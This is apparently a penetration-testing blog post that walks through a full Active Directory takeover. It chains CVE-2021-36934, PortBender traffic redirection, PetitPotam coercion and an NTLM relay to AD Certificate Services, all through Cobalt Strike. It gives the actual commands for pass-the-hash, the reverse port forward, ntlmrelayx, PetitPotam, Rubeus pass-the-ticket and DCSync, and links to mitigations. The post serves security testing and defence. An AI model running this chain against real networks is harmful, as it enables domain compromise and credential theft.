Steve Borosh //
The year of 2021 has presented some interesting challenges to securing Windows and Active Directory environments with new flaws that Microsoft has been slow to address.
In June, @Harmj0y and @tifkin_ released some excellent research and a whitepaper discussing some potential attack paths with Active Directory Certificate Services (“AD CS”) (https://posts.specterops.io/certified-pre-owned-d95910965cd2). This was followed by a modified version of impacket (https://github.com/SecureAuthCorp/impacket/pull/1101) which provides the ability to relay credentials to an AD CS server and obtain a certificate for the relayed user. This certificate may then be re-used elsewhere to authenticate or elevate privileges. The following diagram displays a potential attack scenario where a user is phished and the compromised host is used as a pivot point for the AD CS relay attack.
In an attack scenario, an adversary would need to entice a remote user or system to authenticate back to the adversary-controlled host in order to relay the credential to the certificate server. The SpoolSample (https://github.com/leechristensen/SpoolSample) tool, created by @tifkin_, provides a method to invoke the MS-RPRN RPC service to entice servers via the Print Spooler to authenticate back to the adversary but, the tool requires active directory user credentials.
A new tool named “Petitpotam” was released in a tweet by @topotam77 (https://twitter.com/topotam77/status/1416833996923809793.) This tool presents a new method for enticing a server or workstation to send a machine account hash back to the adversary. By utilizing the MS-EFSRPC protocol (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31), any user on the network may invoke a remote host to send a machine account hash, authenticated or not.
In July 2021, a tweet by @jonasLyk (https://twitter.com/jonasLyk/status/1417205166172950531) brought to light a vulnerability that allows any user on a system to read the SAM and SYSTEM registry hives from a shadow copy if present. Combined with a utility such as Mimikatz, a user could easily obtain the local administrator password hash. With this hash, the user may be able to Pass-the-Hash and authenticate to the local computer as an administrator. For more on this vulnerability, check out https://www.blackhillsinfosec.com/what-to-know-about-microsofts-registry-hive-flaw-serioussam/.
Example Attack Methodology
We start by establishing our initial access via Cobalt Strike’s beacon agent. Next, we prep the area of operations by uploading a custom Cobalt Strike launcher and the WinDivert driver packaged with the PortBender utility (https://github.com/praetorian-inc/PortBender). In this example, we use the directory C:\Windows\Tasks to stage.
After preparing the environment, we can begin our attempt with CVE-2021-36934. We’re going to use the tool created by @cube0x0’s Github (https://github.com/cube0x0/CVE-2021-36934). We’ll use Cobalt-Strike’s execute-assembly to run the .NET tool in-memory on our target host.
We have successfully dumped and parsed the hives and now a few bits of information are presented to us. The RID 500 (built-in) Administrator account has a blank password, indicating that it was initially not set. In a production environment, this would most likely be non-blank or set by Local Administrator Password Solution (“LAPS”). We also see some cached domain credentials that could be submitted to a password cracker to attempt to obtain clear text credentials. For our case, we’ll attempt to re-use the RID 1001 account password hash against the administrator account in hopes of a password reuse finding.
We execute the command
“execute-assembly Sharp-SMBExec.exe target:localhost hash:2be54de51a5f7b3473ed0c3e1afd07a7 username:administrator command:"cmd.exe /c c:\windows\tasks\procmon.exe" to execute our Cobalt Strike beacon payload as SYSTEM.
After establishing a new beacon as SYSTEM, we can set up our traffic bending.
In beacon, start a reverse port forward with
rportfwd 31337 127.0.0.1 445
This will tell the beacon agent to forward any traffic inbound to BENDERPC on port 31337, through the beacon agent, back to the team server on port 445. No need to open any firewalls on the team server as this traffic is proxied through the agent.
Next, start PortBender and divert any traffic inbound to port 445 on BENDERPC to port 31337 where the rportfwd is listening.
We’ll need a SOCKS proxy to proxy our relayed traffic back through the agent into the target network.
With that done, we can set up impacket to relay traffic.
On the Cobalt Strike team server, install this (https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack) updated version of impacket. We must clone the repository, switch branches (git checkout ntlmrelayx-adcs-attack) and then install as per impacket instructions.
We’ll also need the PetitPotam (https://github.com/topotam/PetitPotam) tool to entice the remote target to send authentication back to us via MS-EFSRPC.
We’ll want to modify the proxychains default DNS server to point to the internal DNS server of our target network. Modify the file at /usr/lib/proxychains3/proxyresolv on the team server to point to the internal DNS server as shown in the following example. If you need to enumerate the DNS server’s IP address from Cobalt Strike, you can execute the following command in your beacon agent:
For this attack to work properly, we need to provide the Fully Qualified Domain Name (“FQDN”) for the certificate server. There are a few ways to find the certificate server. If you have Remote Desktop access, you can issue the command
certutil.exe -config - -ping to display the certificate server(s). You may also use a tool such as PowerView to check which groups domain computers belong to. A certificate server will belong to the “Cert Publishers” group.
In a screen or tmux session, we can start ntlmrelayx.py with
proxychains python3 ntlmrelayx.py -t https://crt.planetexpress.local/certsrv/certfnsh.asp -smb2support --adcs --template "domaincontroller".
With ntlmrelayx.py pointed at the certificate server through our SOCKS proxy, we can execute PetitePotam to entice the domain controller to send us its computer hash with
proxychains python3 Petitpotam.py 192.168.253.140 192.168.253.135.
Petitpotam initiates the authentication. We should receive a connection back.
In Cobalt Strike, we see the SMB traffic being forwarded with PortBender.
Great! We now have a valid certificate for the DC01$ machine account. We can import this into our beacon agent with the Rubeus (https://github.com/GhostPack/Rubeus) tool. By possessing the domain controller machine account hash, we can effectively become the domain controller and perform attacks such as DCSync.
Back in a Cobalt Strike beacon agent (elevation not required), we execute Rubeus to pass the ticket into the session and become DC01$.
execute-assembly /home/rvrsh3ll/tools/Rubeus.exe asktgt /user:DC01$ /certificate:MII.. /ptt
Now we’ve successfully become the domain controller, we can perform a DCSYNC attack from Cobalt Strike.
To recap, we started from an initial beacon agent, abused CVE-2021-36934 to escalate local privileges, diverted port 445 to our team server, enticed the domain controller to authenticate to us, relayed those credentials to the certificate server, received an authentication certificate, imported that into our beacon agent via Rubeus, and DCSYNC’d the domain controller for the win.
Combining these two attacks provide adversaries with a quick way to take over an Active Directory environment. Microsoft has issued mitigations for CVE-2021-36934 at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934. Regarding AD CS, you can check out the fantastic post by SpecterOps (https://posts.specterops.io/certified-pre-owned-d95910965cd2) and PKI auditing tool at https://github.com/GhostPack/PSPKIAudit.
Check out our Cyber Range, not just a place to work through challenges and play, but also an open direct/hands-on training environment.